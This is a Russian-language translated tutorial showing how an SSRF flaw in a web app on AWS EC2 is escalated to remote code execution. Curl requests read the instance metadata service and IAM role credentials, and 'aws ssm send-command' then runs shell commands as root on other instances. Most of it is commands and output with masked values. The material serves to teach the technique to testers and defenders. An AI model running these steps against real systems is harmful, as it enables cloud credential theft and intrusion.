Переходим от SSRF к RCE
Этичный ХакерЭта статья носит исключительно образовательный характер. Автор не несет ответственности за любые последствия ее прочтения.
Данная статья является переводом и ведется со слов автора. Оригинал тут.
Получение метаданных AWS и использование их для RCE
Недавно я наткнулся на уязвимость SSRF, позволяющую получить метаданные для экземпляра Amazon EC2, на котором запущено уязвимое программное обеспечение. Но как продолжить и превратить SSRF в RCE?
Изучая веб-приложение, я наткнулся на конечную точку, которая позволяла мне выполнять SSRF. Я буду использовать http://example.com/fetch?url=[path] в качестве примера.
Выполним curl http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/ для просмотра содержимого каталога службы метаданных Amazon.
$ curl http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/ ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hostname iam/ instance-action instance-id instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/
Сначала давайте проверим детали экземпляра, чтобы знать, какой регион использовать при выполнении команд AWS CLI.
$ curl http://example.com/fetch?url=http://169.254.169.254/latest/dynamic/instance-identity/document
{
"accountId" : "19xxxxxxxxxx",
"architecture" : "x86_64",
"availabilityZone" : "eu-west-1c",
"billingProducts" : null,
"devpayProductCodes" : null,
"marketplaceProductCodes" : null,
"imageId" : "ami-xxxxxxxxxxxxxxxxx",
"instanceId" : "i-xxxxxxxxxxxxxxxxx",
"instanceType" : "r0x.large",
"kernelId" : null,
"pendingTime" : "2021-01-01T13:37:00Z",
"privateIp" : "172.10.1.1",
"ramdiskId" : null,
"region" : "eu-west-1",
"version" : "2020-01-01"
}
Будем иметь ввиду, что "region": "eu-west-1". Теперь проверим наличие учетных данных. Эти учетные данные приведут нас к RCE.
При запросе http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/отображается список с учетными данными.
$ curl http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ webserver
Проверим содержимое учетный данных webserver:
$ curl http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/webserver
{
"Code" : "Success",
"LastUpdated" : "2021-02-05T13:37:00Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAxxxxxxxxxxxxxxxx",
"SecretAccessKey" : "XxxxXxxxXxxxXxxxXxxxXxxxXxxxXxxxXxxxXxxx",
"Token" : "A-secret-base64-encoded-token",
"Expiration" : "2021-02-06T13:37:00Z"
}
Используем AWS CLI для проверки полученных учетных данных. Для следующих команд используем данные из предыдущего запроса и значение region, которое мы получили до этого ( eu-west-1).
$ export AWS_ACCESS_KEY_ID="[AccessKeyId]" $ export AWS_SECRET_ACCESS_KEY="[SecretAccessKey]" $ export AWS_DEFAULT_REGION="[region]" $ export AWS_SESSION_TOKEN="[Token]"
Пришло время проверить подлинность токена.
$ aws sts get-caller-identity
{
"UserId": "AROAxxxxxxxxxxxxxxxxx:i-xxxxxxxxxxxxxxxxx",
"Account": "19xxxxxxxxxx",
"Arn": "arn:aws:sts::19xxxxxxxxxx:assumed-role/webserver/i-xxxxxxxxxxxxxxxxx"
}
Свойство Account будет такое же , как accountId в конечной точке метаданных document из прошлых шагов. То же самое касается значения свойства UserId, которое будет таким же, как и instanceId в конечной точке document.
Чтобы получить RCE, нам нужно знать, в каких экземплярах учетные данные безопасности принимаются для выполнения команд.
$ aws ssm describe-instance-information --output text --query "InstanceInformationList[*]" 1.2.3.4 example-1234567890.eu-west-1.elb.amazonaws.com 172.10.1.100 i-xxxxxxxxxxxxxxxxx False 2021-02-05T13:37:00.000000+01:00 Online Amazon Linux AMI Linux 2020.01 EC2Instance
Будет возвращен список экземпляров, доступных для отправки команд. Проверим выполнение команды на одном из экземпляров из списка выше (скопируйте значение i-xxxxxxxxxxxxxxxxx).
Убедитесь, что выполняете безопасную команду, напримерwhoamiилиuname. Мы не хотим мешать работе каких-либо служб или даже убивать инстанс.
$ aws ssm send-command --document-name "AWS-RunShellScript" --comment "RCE test: whoami" --targets "Key=instanceids,Values=[instanceid]" --parameters 'commands=whoami'
{
"Command": {
"CommandId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"DocumentName": "AWS-RunShellScript",
"DocumentVersion": "",
"Comment": "RCE test: whoami",
"ExpiresAfter": "2021-02-05T13:37:00.000000+01:00",
"Parameters": {
"commands": [
"whoami"
]
},
"InstanceIds": [],
"Targets": [
{
"Key": "instanceids",
"Values": [
"i-xxxxxxxxxxxxxxxxx"
]
}
],
"RequestedDateTime": "2021-02-05T13:37:00.000000+01:00",
"Status": "Pending",
"StatusDetails": "Pending",
"OutputS3BucketName": "",
"OutputS3KeyPrefix": "",
"MaxConcurrency": "50",
"MaxErrors": "0",
"TargetCount": 0,
"CompletedCount": 0,
"ErrorCount": 0,
"DeliveryTimedOutCount": 0,
"ServiceRole": "",
"NotificationConfig": {
"NotificationArn": "",
"NotificationEvents": [],
"NotificationType": ""
},
"CloudWatchOutputConfig": {
"CloudWatchLogGroupName": "",
"CloudWatchOutputEnabled": false
},
"TimeoutSeconds": 3600
}
}
Скопируйте CommandId и используйте его в следующей команде, чтобы проверить вывод выполненной команды.
$ aws ssm list-command-invocations --command-id "[CommandId]" --details
{
"CommandInvocations": [
{
"CommandId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"InstanceId": "i-xxxxxxxxxxxxxxxxx",
"InstanceName": "",
"Comment": "RCE test: whoami",
"DocumentName": "AWS-RunShellScript",
"DocumentVersion": "",
"RequestedDateTime": "2021-02-05T13:37:00.000000+01:00",
"Status": "Success",
"StatusDetails": "Success",
"StandardOutputUrl": "",
"StandardErrorUrl": "",
"CommandPlugins": [
{
"Name": "aws:runShellScript",
"Status": "Success",
"StatusDetails": "Success",
"ResponseCode": 0,
"ResponseStartDateTime": "2021-02-05T13:37:00.000000+01:00",
"ResponseFinishDateTime": "2021-02-05T13:37:00.000000+01:00",
"Output": "root\n",
"StandardOutputUrl": "",
"StandardErrorUrl": "",
"OutputS3Region": "eu-west-1",
"OutputS3BucketName": "",
"OutputS3KeyPrefix": ""
}
],
"ServiceRole": "",
"NotificationConfig": {
"NotificationArn": "",
"NotificationEvents": [],
"NotificationType": ""
},
"CloudWatchOutputConfig": {
"CloudWatchLogGroupName": "",
"CloudWatchOutputEnabled": false
}
}
]
}
Если команда не выполнилась, то Status будет pending. При успешном выполнении вывод отображается в CommandInvocations.CommandPlugins.Output:
"root\n"